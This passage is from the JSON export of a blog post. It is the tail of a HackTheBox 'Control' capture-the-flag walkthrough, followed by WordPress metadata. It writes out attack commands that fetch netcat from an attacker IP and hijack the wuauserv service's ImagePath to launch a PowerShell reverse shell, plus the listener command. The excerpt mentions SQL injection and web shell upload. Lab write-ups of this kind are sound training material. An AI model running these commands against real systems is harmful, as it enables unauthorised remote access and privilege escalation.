src=\"https:\/\/lh4.googleusercontent.com\/h-SbryQiuJUvTgQQYk8Xhjn1pRW3fx3H2FWBq7NGD0pQyuNUnWskjJDAuoWhC3LzQu-qJVZw7zOrZlw9MXrjFbdbRDOFS5as-b_cPcPDoRb1GZXeyTXCwHJzwdiU_fR-47sHpE3j\" alt=\"\"\/><\/figure>\n\n\n\n<p>Grab the nc64.exe from the local machine and paste it in <strong>C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe<\/strong><\/p>\n\n\n\n<p>Using:<\/p>\n\n\n\n<p>wget <a href=\"http:\/\/10.10.14.81\/nc64.exe\">http:\/\/10.10.14.81\/nc64.exe<\/a> -o nc64.exe<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&nbsp;&gt; set-itemProperty -path wuauserv -Name ImagePath -Value \"C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.81 9001 -e powershell\"<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/G_k5ztVx6h32_Y8g1pSlmbZX3Hhlr3gvRh29CJU0hCJ3PWi3pcyd50lnXSYkTnasq6fPeeTq_TtECDMXioy7wyaAuvlYEolj6aOi5E84gi0d11KRCArZ4FQ_eYcrBpDbYKv3hnOR\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; get-item wuauserv&nbsp; (To check that our bind shell properly loaded)<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/xk4DX5-zTQguwoHkSaYbchNC5yFAHCNkmslQ6Lye9vPPwLP6fGsFHdAxfaW7H2WAqjLPuTPPNi-i81HaMau5OQkFN0L3o7hkccbEtTNUXNTvgCgqMWtJj8esAVYJ6_BBWbAfLe_9\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># sc.exe start wuauserv<\/pre>\n\n\n\n<p>When we start the service, the binary in the ImagePath gets loaded and executed. In our case, nc.exe gets executed and connects to the listener that was spawned on the local machine using:<\/p>\n\n\n\n<p class=\"wpf-blue-background\"># nc -lnvp 9001<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/v_FykgvDpr22CglBL6Zk0QYqH0NgXFKKjP-m8lZqn24cL3UE0jja1_4Ff17qoxmSScWON02R89We6twBbIwZxwLByeyJb0OAm7irsitTHXgf_2xadC5qlCM66HHH1b2x-QEJnlQy\" alt=\"\"\/><\/figure>\n\n\n\n<p>Yes it was a long way to go but the reward is worth it!!<\/p>\n\n\n\n<p>That&#8217;s all for the blog post. Thanks for reading!!<\/p>\n\n\n\n<p>Until then, Happy Hacking!!<\/p>\n\n\n\n<p>For more such content subscribe to my page.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey fellas!! This is Shreya Pohekar and today we\u2019ll be walking through Control from Hackthebox. It was a hard windows machine. The initial foothold (wwwroot) to the machine exploited a sql injection, where I uploaded a web shell using the vulnerability. Getting to the user was pretty straightforward as the sqlmap listed password hashes. Privilege [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":55,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[38,26,42,40,39,41,9,45,44,43],"class_list":["post-49","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-control","tag-hackthebox","tag-powershell-history","tag-registry","tag-sddl","tag-shell-upload","tag-sql-injection","tag-wuauserv","tag-wuauserv-exploit","tag-x-forwarded-for","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/49"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=49"}],"version-history":[{"count":10,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/49\/revisions"}],"predecessor-version":[{"id":139,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/49\/revisions\/139"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/55"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=49"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=49"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=49"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}